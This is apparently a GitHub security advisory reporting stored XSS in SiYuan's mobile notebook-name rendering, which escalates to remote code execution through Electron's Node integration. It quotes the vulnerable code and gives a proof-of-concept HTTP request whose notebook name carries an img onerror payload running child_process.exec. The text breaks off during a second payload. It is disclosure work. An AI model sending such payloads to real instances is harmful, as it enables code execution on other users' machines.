GitHub Security Advisory: GHSA-qr46-rcv3-4hq3
Package: github.com/siyuan-note/siyuan/kernel (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 0.0.0[PII_REDACTED]4916-fd6526133bb3
Patched in: unpatched

Summary: SiYuan Vulnerable to Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface

Details:
# Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface

## Summary

SiYuan's mobile file tree (`MobileFiles.ts`) renders notebook names via `innerHTML` without HTML escaping when processing `renamenotebook` WebSocket events. The desktop version (`Files.ts`) properly uses `escapeHtml()` for the same operation. An authenticated user who can rename notebooks can inject arbitrary HTML/JavaScript that executes on any mobile client viewing the file tree.

Since Electron is configured with `nodeIntegration: true` and `contextIsolation: false`, the injected JavaScript has full Node.js access, escalating stored XSS to **full remote code execution**. The mobile layout is also used in the Electron desktop app when the window is narrow, making this exploitable on desktop as well.

## Affected Component

- **Vulnerable file:** `app/src/mobile/dock/MobileFiles.ts:77`
- **Safe counterpart:** `app/src/layout/dock/Files.ts:104` (uses `escapeHtml`)
- **Backend (no escaping):** `kernel/api/notebook.go:104-116` (`renameNotebook`)
- **Electron config:** `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)
- **Endpoint:** `POST /api/notebook/renameNotebook` (authenticated)
- **Version:** SiYuan <= 3.5.9

## Vulnerable Code

### Mobile — no escaping (MobileFiles.ts:77)

```typescript
case "renamenotebook":
    this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = data.data.name;
    break;
```

### Desktop — properly escaped (Files.ts:104)

```typescript
case "renamenotebook":
    this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);
    break;
```

### Backend — sends unescaped name (notebook.go:104-116)

```go
func renameNotebook(c *gin.Context) {
    // ...
    name := arg["name"].(string)
    err := model.RenameBox(notebook, name)
    // ...
    evt := util.NewCmdResult("renamenotebook", 0, util.PushModeBroadcast)
    evt.Data = map[string]interface{}{
        "box":  notebook,
        "name": name,  // Unescaped — sent directly to all clients
    }
    util.PushEvent(evt)
}
```

`model.RenameBox()` only validates length (512 chars max) and emptiness — no HTML sanitization.

### Electron — Node.js in renderer (main.js:422-426)

```javascript
webPreferences: {
    nodeIntegration: true,
    webviewTag: true,
    webSecurity: false,
    contextIsolation: false,
}
```

Any JavaScript executed via innerHTML has full access to `require('child_process')`, `require('fs')`, `require('net')`, etc.

## Proof of Concept

**Tested and confirmed on SiYuan v3.5.9 (Docker).**

### 1. Set malicious notebook name (RCE payload)

```http
POST /api/notebook/renameNotebook HTTP/1.1
Content-Type: application/json
Cookie: siyuan=<session>

{
    "notebook": "<NOTEBOOK_ID>",
    "name": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
}
```

On Linux/macOS:
```json
{
    "notebook": "<NOTEBOOK_ID>",
    "name": "<img